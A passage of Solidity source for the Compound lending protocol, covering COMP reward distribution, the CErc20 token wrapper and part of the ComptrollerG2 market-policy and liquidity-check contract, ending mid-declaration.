/** * @notice Accrue COMP to the market by updating the supply index * @param cToken The market whose supply index to update */ function updateCompSupplyIndex(address cToken) internal { CompMarketState storage supplyState = compSupplyState[cToken]; uint supplySpeed = compSpeeds[cToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(supplyState.block)); if (deltaBlocks > 0 && supplySpeed > 0) { uint supplyTokens = CToken(cToken).totalSupply(); uint compAccrued = mul_(deltaBlocks, supplySpeed); Double memory ratio = supplyTokens > 0 ? fraction(compAccrued, supplyTokens) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: supplyState.index}), ratio); compSupplyState[cToken] = CompMarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { supplyState.block = safe32(blockNumber, "block number exceeds 32 bits"); } } /** * @notice Accrue COMP to the market by updating the borrow index * @param cToken The market whose borrow index to update */ function updateCompBorrowIndex(address cToken, Exp memory marketBorrowIndex) internal { CompMarketState storage borrowState = compBorrowState[cToken]; uint borrowSpeed = compSpeeds[cToken]; uint blockNumber = getBlockNumber(); uint deltaBlocks = sub_(blockNumber, uint(borrowState.block)); if (deltaBlocks > 0 && borrowSpeed > 0) { uint borrowAmount = div_(CToken(cToken).totalBorrows(), marketBorrowIndex); uint compAccrued = mul_(deltaBlocks, borrowSpeed); Double memory ratio = borrowAmount > 0 ? fraction(compAccrued, borrowAmount) : Double({mantissa: 0}); Double memory index = add_(Double({mantissa: borrowState.index}), ratio); compBorrowState[cToken] = CompMarketState({ index: safe224(index.mantissa, "new index exceeds 224 bits"), block: safe32(blockNumber, "block number exceeds 32 bits") }); } else if (deltaBlocks > 0) { borrowState.block = safe32(blockNumber, "block number exceeds 32 bits"); } } /** * @notice Calculate COMP accrued by a supplier and possibly transfer it to them * @param cToken The market in which the supplier is interacting * @param supplier The address of the supplier to distribute COMP to */ function distributeSupplierComp(address cToken, address supplier, bool distributeAll) internal { CompMarketState storage supplyState = compSupplyState[cToken]; Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({mantissa: compSupplierIndex[cToken][supplier]}); compSupplierIndex[cToken][supplier] = supplyIndex.mantissa; if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) { supplierIndex.mantissa = compInitialIndex; } Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint supplierTokens = CToken(cToken).balanceOf(supplier); uint supplierDelta = mul_(supplierTokens, deltaIndex); uint supplierAccrued = add_(compAccrued[supplier], supplierDelta); compAccrued[supplier] = transferComp(supplier, supplierAccrued, distributeAll ? 0 : compClaimThreshold); emit DistributedSupplierComp(CToken(cToken), supplier, supplierDelta, supplyIndex.mantissa); } /** * @notice Calculate COMP accrued by a borrower and possibly transfer it to them * @dev Borrowers will not begin to accrue until after the first interaction with the protocol. * @param cToken The market in which the borrower is interacting * @param borrower The address of the borrower to distribute COMP to */ function distributeBorrowerComp(address cToken, address borrower, Exp memory marketBorrowIndex, bool distributeAll) internal { CompMarketState storage borrowState = compBorrowState[cToken]; Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({mantissa: compBorrowerIndex[cToken][borrower]}); compBorrowerIndex[cToken][borrower] = borrowIndex.mantissa; if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint borrowerAmount = div_(CToken(cToken).borrowBalanceStored(borrower), marketBorrowIndex); uint borrowerDelta = mul_(borrowerAmount, deltaIndex); uint borrowerAccrued = add_(compAccrued[borrower], borrowerDelta); compAccrued[borrower] = transferComp(borrower, borrowerAccrued, distributeAll ? 0 : compClaimThreshold); emit DistributedBorrowerComp(CToken(cToken), borrower, borrowerDelta, borrowIndex.mantissa); } } /** * @notice Transfer COMP to the user, if they are above the threshold * @dev Note: If there is not enough COMP, we do not perform the transfer all. * @param user The address of the user to transfer COMP to * @param userAccrued The amount of COMP to (possibly) transfer * @return The amount of COMP which was NOT transferred to the user */ function transferComp(address user, uint userAccrued, uint threshold) internal returns (uint) { if (userAccrued >= threshold && userAccrued > 0) { Comp comp = Comp(getCompAddress()); uint compRemaining = comp.balanceOf(address(this)); if (userAccrued <= compRemaining) { comp.transfer(user, userAccrued); return 0; } } return userAccrued; } /** * @notice Claim all the comp accrued by holder in all markets * @param holder The address to claim COMP for */ function claimComp(address holder) public { return claimComp(holder, allMarkets); } /** * @notice Claim all the comp accrued by holder in the specified markets * @param holder The address to claim COMP for * @param cTokens The list of markets to claim COMP in */ function claimComp(address holder, CToken[] memory cTokens) public { address[] memory holders = new address[](1); holders[0] = holder; claimComp(holders, cTokens, true, true); } /** * @notice Claim all comp accrued by the holders * @param holders The addresses to claim COMP for * @param cTokens The list of markets to claim COMP in * @param borrowers Whether or not to claim COMP earned by borrowing * @param suppliers Whether or not to claim COMP earned by supplying */ function claimComp(address[] memory holders, CToken[] memory cTokens, bool borrowers, bool suppliers) public { for (uint i = 0; i < cTokens.length; i++) { CToken cToken = cTokens[i]; require(markets[address(cToken)].isListed, "market must be listed"); if (borrowers == true) { Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); updateCompBorrowIndex(address(cToken), borrowIndex); for (uint j = 0; j < holders.length; j++) { distributeBorrowerComp(address(cToken), holders[j], borrowIndex, true); } } if (suppliers == true) { updateCompSupplyIndex(address(cToken)); for (uint j = 0; j < holders.length; j++) { distributeSupplierComp(address(cToken), holders[j], true); } } } } /*** Comp Distribution Admin ***/ /** * @notice Set the amount of COMP distributed per block * @param compRate_ The amount of COMP wei per block to distribute */ function _setCompRate(uint compRate_) public { require(adminOrInitializing(), "only admin can change comp rate"); uint oldRate = compRate; compRate = compRate_; emit NewCompRate(oldRate, compRate_); refreshCompSpeedsInternal(); } /** * @notice Add markets to compMarkets, allowing them to earn COMP in the flywheel * @param cTokens The addresses of the markets to add */ function _addCompMarkets(address[] memory cTokens) public { require(adminOrInitializing(), "only admin can add comp market"); for (uint i = 0; i < cTokens.length; i++) { _addCompMarketInternal(cTokens[i]); } refreshCompSpeedsInternal(); } function _addCompMarketInternal(address cToken) internal { Market storage market = markets[cToken]; require(market.isListed == true, "comp market is not listed"); require(market.isComped == false, "comp market already added"); market.isComped = true; emit MarketComped(CToken(cToken), true); if (compSupplyState[cToken].index == 0 && compSupplyState[cToken].block == 0) { compSupplyState[cToken] = CompMarketState({ index: compInitialIndex, block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } if (compBorrowState[cToken].index == 0 && compBorrowState[cToken].block == 0) { compBorrowState[cToken] = CompMarketState({ index: compInitialIndex, block: safe32(getBlockNumber(), "block number exceeds 32 bits") }); } } /** * @notice Remove a market from compMarkets, preventing it from earning COMP in the flywheel * @param cToken The address of the market to drop */ function _dropCompMarket(address cToken) public { require(msg.sender == admin, "only admin can drop comp market"); Market storage market = markets[cToken]; require(market.isComped == true, "market is not a comp market"); market.isComped = false; emit MarketComped(CToken(cToken), false); refreshCompSpeedsInternal(); } /** * @notice Return all of the markets * @dev The automatic getter may be used to access an individual market. * @return The list of market addresses */ function getAllMarkets() public view returns (CToken[] memory) { return allMarkets; } function getBlockNumber() public view returns (uint) { return block.number; } /** * @notice Return the address of the COMP token * @return The address of COMP */ function getCompAddress() public view returns (address) { return 0xbc16da9df0A22f01A16BC0620a27e7D6d6488550; } } pragma solidity ^0.5.16; import "./CToken.sol"; /** * @title Compound's CErc20 Contract * @notice CTokens which wrap an EIP-20 underlying * @author Compound */ contract CErc20 is CToken, CErc20Interface { /** * @notice Initialize the new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token */ function initialize(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { // CToken initialize does the bulk of the work super.initialize(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_); // Set underlying and sanity check it underlying = underlying_; EIP20Interface(underlying).totalSupply(); } /*** User Interface ***/ /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external returns (uint) { (uint err,) = mintInternal(mintAmount); return err; } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { return redeemInternal(redeemTokens); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { return redeemUnderlyingInternal(redeemAmount); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { return borrowInternal(borrowAmount); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external returns (uint) { (uint err,) = repayBorrowInternal(repayAmount); return err; } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { (uint err,) = repayBorrowBehalfInternal(borrower, repayAmount); return err; } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param repayAmount The amount of the underlying borrowed asset to repay * @param cTokenCollateral The market in which to seize collateral from the borrower * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) { (uint err,) = liquidateBorrowInternal(borrower, repayAmount, cTokenCollateral); return err; } /** * @notice The sender adds to reserves. * @param addAmount The amount fo underlying token to add as reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external returns (uint) { return _addReservesInternal(addAmount); } /*** Safe Token ***/ /** * @notice Gets balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying tokens owned by this contract */ function getCashPrior() internal view returns (uint) { EIP20Interface token = EIP20Interface(underlying); return token.balanceOf(address(this)); } /** * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case. * This will revert due to insufficient balance or insufficient allowance. * This function returns the actual amount received, * which may be less than `amount` if there is a fee attached to the transfer. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferIn(address from, uint amount) internal returns (uint) { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this)); token.transferFrom(from, address(this), amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_IN_FAILED"); // Calculate the amount that was *actually* transferred uint balanceAfter = EIP20Interface(underlying).balanceOf(address(this)); require(balanceAfter >= balanceBefore, "TOKEN_TRANSFER_IN_OVERFLOW"); return balanceAfter - balanceBefore; // underflow already checked above, just subtract } /** * @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified * it is >= amount, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferOut(address payable to, uint amount) internal { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); token.transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_OUT_FAILED"); } } pragma solidity ^0.5.16; import "./CToken.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./PriceOracle.sol"; import "./ComptrollerInterface.sol"; import "./ComptrollerStorage.sol"; import "./Unitroller.sol"; /** * @title Compound's Comptroller Contract * @author Compound */ contract ComptrollerG2 is ComptrollerV2Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential { /** * @notice Emitted when an admin supports a market */ event MarketListed(CToken cToken); /** * @notice Emitted when an account enters a market */ event MarketEntered(CToken cToken, address account); /** * @notice Emitted when an account exits a market */ event MarketExited(CToken cToken, address account); /** * @notice Emitted when close factor is changed by admin */ event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa); /** * @notice Emitted when a collateral factor is changed by admin */ event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa); /** * @notice Emitted when liquidation incentive is changed by admin */ event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa); /** * @notice Emitted when maxAssets is changed by admin */ event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets); /** * @notice Emitted when price oracle is changed */ event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle); /** * @notice Emitted when pause guardian is changed */ event NewPauseGuardian(address oldPauseGuardian, address newPauseGuardian); /** * @notice Emitted when an action is paused globally */ event ActionPaused(string action, bool pauseState); /** * @notice Emitted when an action is paused on a market */ event ActionPaused(CToken cToken, string action, bool pauseState); // closeFactorMantissa must be strictly greater than this value uint internal constant closeFactorMinMantissa = 0.05e18; // 0.05 // closeFactorMantissa must not exceed this value uint internal constant closeFactorMaxMantissa = 0.9e18; // 0.9 // No collateralFactorMantissa may exceed this value uint internal constant collateralFactorMaxMantissa = 0.9e18; // 0.9 // liquidationIncentiveMantissa must be no less than this value uint internal constant liquidationIncentiveMinMantissa = 1.0e18; // 1.0 // liquidationIncentiveMantissa must be no greater than this value uint internal constant liquidationIncentiveMaxMantissa = 1.5e18; // 1.5 constructor() public { admin = msg.sender; } /*** Assets You Are In ***/ /** * @notice Returns the assets an account has entered * @param account The address of the account to pull assets for * @return A dynamic list with the assets the account has entered */ function getAssetsIn(address account) external view returns (CToken[] memory) { CToken[] memory assetsIn = accountAssets[account]; return assetsIn; } /** * @notice Returns whether the given account is entered in the given asset * @param account The address of the account to check * @param cToken The cToken to check * @return True if the account is in the asset, otherwise false. */ function checkMembership(address account, CToken cToken) external view returns (bool) { return markets[address(cToken)].accountMembership[account]; } /** * @notice Add assets to be included in account liquidity calculation * @param cTokens The list of addresses of the cToken markets to be enabled * @return Success indicator for whether each corresponding market was entered */ function enterMarkets(address[] memory cTokens) public returns (uint[] memory) { uint len = cTokens.length; uint[] memory results = new uint[](len); for (uint i = 0; i < len; i++) { CToken cToken = CToken(cTokens[i]); results[i] = uint(addToMarketInternal(cToken, msg.sender)); } return results; } /** * @notice Add the market to the borrower's "assets in" for liquidity calculations * @param cToken The market to enter * @param borrower The address of the account to modify * @return Success indicator for whether the market was entered */ function addToMarketInternal(CToken cToken, address borrower) internal returns (Error) { Market storage marketToJoin = markets[address(cToken)]; if (!marketToJoin.isListed) { // market is not listed, cannot join return Error.MARKET_NOT_LISTED; } if (marketToJoin.accountMembership[borrower] == true) { // already joined return Error.NO_ERROR; } if (accountAssets[borrower].length >= maxAssets) { // no space, cannot join return Error.TOO_MANY_ASSETS; } // survived the gauntlet, add to list // NOTE: we store these somewhat redundantly as a significant optimization // this avoids having to iterate through the list for the most common use cases // that is, only when we need to perform liquidity checks // and not whenever we want to check if an account is in a particular market marketToJoin.accountMembership[borrower] = true; accountAssets[borrower].push(cToken); emit MarketEntered(cToken, borrower); return Error.NO_ERROR; } /** * @notice Removes asset from sender's account liquidity calculation * @dev Sender must not have an outstanding borrow balance in the asset, * or be providing neccessary collateral for an outstanding borrow. * @param cTokenAddress The address of the asset to be removed * @return Whether or not the account successfully exited the market */ function exitMarket(address cTokenAddress) external returns (uint) { CToken cToken = CToken(cTokenAddress); /* Get sender tokensHeld and amountOwed underlying from the cToken */ (uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender); require(oErr == 0, "exitMarket: getAccountSnapshot failed"); // semi-opaque error code /* Fail if the sender has a borrow balance */ if (amountOwed != 0) { return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED); } /* Fail if the sender is not permitted to redeem all of their tokens */ uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld); if (allowed != 0) { return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed); } Market storage marketToExit = markets[address(cToken)]; /* Return true if the sender is not already ‘in’ the market */ if (!marketToExit.accountMembership[msg.sender]) { return uint(Error.NO_ERROR); } /* Set cToken account membership to false */ delete marketToExit.accountMembership[msg.sender]; /* Delete cToken from the account’s list of assets */ // load into memory for faster iteration CToken[] memory userAssetList = accountAssets[msg.sender]; uint len = userAssetList.length; uint assetIndex = len; for (uint i = 0; i < len; i++) { if (userAssetList[i] == cToken) { assetIndex = i; break; } } // We *must* have found the asset in the list or our redundant data structure is broken assert(assetIndex < len); // copy last item in list to location of item to be removed, reduce length by 1 CToken[] storage storedList = accountAssets[msg.sender]; storedList[assetIndex] = storedList[storedList.length - 1]; storedList.length--; emit MarketExited(cToken, msg.sender); return uint(Error.NO_ERROR); } /*** Policy Hooks ***/ /** * @notice Checks if the account should be allowed to mint tokens in the given market * @param cToken The market to verify the mint against * @param minter The account which would get the minted tokens * @param mintAmount The amount of underlying being supplied to the market in exchange for tokens * @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!mintGuardianPaused[cToken], "mint is paused"); // Shh - currently unused minter; mintAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks return uint(Error.NO_ERROR); } /** * @notice Validates mint and reverts on rejection. May emit logs. * @param cToken Asset being minted * @param minter The address minting the tokens * @param actualMintAmount The amount of the underlying asset being minted * @param mintTokens The number of tokens being minted */ function mintVerify(address cToken, address minter, uint actualMintAmount, uint mintTokens) external { // Shh - currently unused cToken; minter; actualMintAmount; mintTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to redeem tokens in the given market * @param cToken The market to verify the redeem against * @param redeemer The account which would redeem the tokens * @param redeemTokens The number of cTokens to exchange for the underlying asset in the market * @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint) { return redeemAllowedInternal(cToken, redeemer, redeemTokens); } function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal view returns (uint) { if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks /* If the redeemer is not 'in' the market, then we can bypass the liquidity check */ if (!markets[cToken].accountMembership[redeemer]) { return uint(Error.NO_ERROR); } /* Otherwise, perform a hypothetical liquidity check to guard against shortfall */ (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates redeem and reverts on rejection. May emit logs. * @param cToken Asset being redeemed * @param redeemer The address redeeming the tokens * @param redeemAmount The amount of the underlying asset being redeemed * @param redeemTokens The number of tokens being redeemed */ function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external { // Shh - currently unused cToken; redeemer; // Require tokens is zero or amount is also zero if (redeemTokens == 0 && redeemAmount > 0) { revert("redeemTokens zero"); } } /** * @notice Checks if the account should be allowed to borrow the underlying asset of the given market * @param cToken The market to verify the borrow against * @param borrower The account which would borrow the asset * @param borrowAmount The amount of underlying the account would borrow * @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!borrowGuardianPaused[cToken], "borrow is paused"); if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks if (!markets[cToken].accountMembership[borrower]) { // only cTokens may call borrowAllowed if borrower not in market require(msg.sender == cToken, "sender must be cToken"); // attempt to add borrower to the market Error err = addToMarketInternal(CToken(msg.sender), borrower); if (err != Error.NO_ERROR) { return uint(err); } // it should be impossible to break the important invariant assert(markets[cToken].accountMembership[borrower]); } if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) { return uint(Error.PRICE_ERROR); } (Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall > 0) { return uint(Error.INSUFFICIENT_LIQUIDITY); } return uint(Error.NO_ERROR); } /** * @notice Validates borrow and reverts on rejection. May emit logs. * @param cToken Asset whose underlying is being borrowed * @param borrower The address borrowing the underlying * @param borrowAmount The amount of the underlying asset requested to borrow */ function borrowVerify(address cToken, address borrower, uint borrowAmount) external { // Shh - currently unused cToken; borrower; borrowAmount; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to repay a borrow in the given market * @param cToken The market to verify the repay against * @param payer The account which would repay the asset * @param borrower The account which would borrowed the asset * @param repayAmount The amount of the underlying asset the account would repay * @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused payer; borrower; repayAmount; if (!markets[cToken].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks return uint(Error.NO_ERROR); } /** * @notice Validates repayBorrow and reverts on rejection. May emit logs. * @param cToken Asset being repaid * @param payer The address repaying the borrow * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function repayBorrowVerify( address cToken, address payer, address borrower, uint actualRepayAmount, uint borrowerIndex) external { // Shh - currently unused cToken; payer; borrower; actualRepayAmount; borrowerIndex; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the liquidation should be allowed to occur * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param repayAmount The amount of underlying being repaid */ function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint) { // Shh - currently unused liquidator; if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) { return uint(Error.MARKET_NOT_LISTED); } // *may include Policy Hook-type checks /* The borrower must have shortfall in order to be liquidatable */ (Error err, , uint shortfall) = getAccountLiquidityInternal(borrower); if (err != Error.NO_ERROR) { return uint(err); } if (shortfall == 0) { return uint(Error.INSUFFICIENT_SHORTFALL); } /* The liquidator may not repay more than what is allowed by the closeFactor */ uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower); (MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance); if (mathErr != MathError.NO_ERROR) { return uint(Error.MATH_ERROR); } if (repayAmount > maxClose) { return uint(Error.TOO_MUCH_REPAY); } return uint(Error.NO_ERROR); } /** * @notice Validates liquidateBorrow and reverts on rejection. May emit logs. * @param cTokenBorrowed Asset which was borrowed by the borrower * @param cTokenCollateral Asset which was used as collateral and will be seized * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param actualRepayAmount The amount of underlying being repaid */ function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint actualRepayAmount, uint seizeTokens) external { // Shh - currently unused cTokenBorrowed; cTokenCollateral; liquidator; borrower; actualRepayAmount; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the seizing of assets should be allowed to occur * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!seizeGuardianPaused, "seize is paused"); // Shh - currently unused liquidator; borrower; seizeTokens; if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) { return uint(Error.MARKET_NOT_LISTED); } if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) { return uint(Error.COMPTROLLER_MISMATCH); } // *may include Policy Hook-type checks return uint(Error.NO_ERROR); } /** * @notice Validates seize and reverts on rejection. May emit logs. * @param cTokenCollateral Asset which was used as collateral and will be seized * @param cTokenBorrowed Asset which was borrowed by the borrower * @param liquidator The address repaying the borrow and seizing the collateral * @param borrower The address of the borrower * @param seizeTokens The number of collateral tokens to seize */ function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external { // Shh - currently unused cTokenCollateral; cTokenBorrowed; liquidator; borrower; seizeTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /** * @notice Checks if the account should be allowed to transfer tokens in the given market * @param cToken The market to verify the transfer against * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer * @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol) */ function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint) { // Pausing is a very serious situation - we revert to sound the alarms require(!transferGuardianPaused, "transfer is paused"); // Shh - currently unused dst; // *may include Policy Hook-type checks // Currently the only consideration is whether or not // the src is allowed to redeem this many tokens return redeemAllowedInternal(cToken, src, transferTokens); } /** * @notice Validates transfer and reverts on rejection. May emit logs. * @param cToken Asset being transferred * @param src The account which sources the tokens * @param dst The account which receives the tokens * @param transferTokens The number of cTokens to transfer */ function transferVerify(address cToken, address src, address dst, uint transferTokens) external { // Shh - currently unused cToken; src; dst; transferTokens; // Shh - we don't ever want this hook to be marked pure if (false) { maxAssets = maxAssets; } } /*** Liquidity/Liquidation Calculations ***/ /** * @dev Local vars for avoiding stack-depth limits in calculating account liquidity. * Note that `cTokenBalance` is the number of cTokens the account owns in the market, * whereas `borrowBalance` is the amount of underlying that the account has borrowed. */ struct AccountLiquidityLocalVars { uint sumCollateral; uint sumBorrowPlusEffects; uint cTokenBalance; uint borrowBalance; uint exchangeRateMantissa; uint oraclePriceMantissa; Exp collateralFactor; Exp exchangeRate; Exp oraclePrice; Exp tokensToEther; } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code (semi-opaque), account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidity(address account) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); return (uint(err), liquidity, shortfall); } /** * @notice Determine the current account liquidity wrt collateral requirements * @return (possible error code, account liquidity in excess of collateral requirements, * account shortfall below collateral requirements) */ function getAccountLiquidityInternal(address account) internal view returns (Error, uint, uint) { return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @return (possible error code (semi-opaque), hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidity( address account, address cTokenModify, uint redeemTokens, uint borrowAmount) public view returns (uint, uint, uint) { (Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(cTokenModify), redeemTokens, borrowAmount); return (uint(err), liquidity, shortfall); } /** * @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed * @param cTokenModify The market to hypothetically redeem/borrow in * @param account The account to determine liquidity for * @param redeemTokens The number of tokens to hypothetically redeem * @param borrowAmount The amount of underlying to hypothetically borrow * @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data, * without calculating accumulated interest. * @return (possible error code, hypothetical account liquidity in excess of collateral requirements, * hypothetical account shortfall below collateral requirements) */ function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns 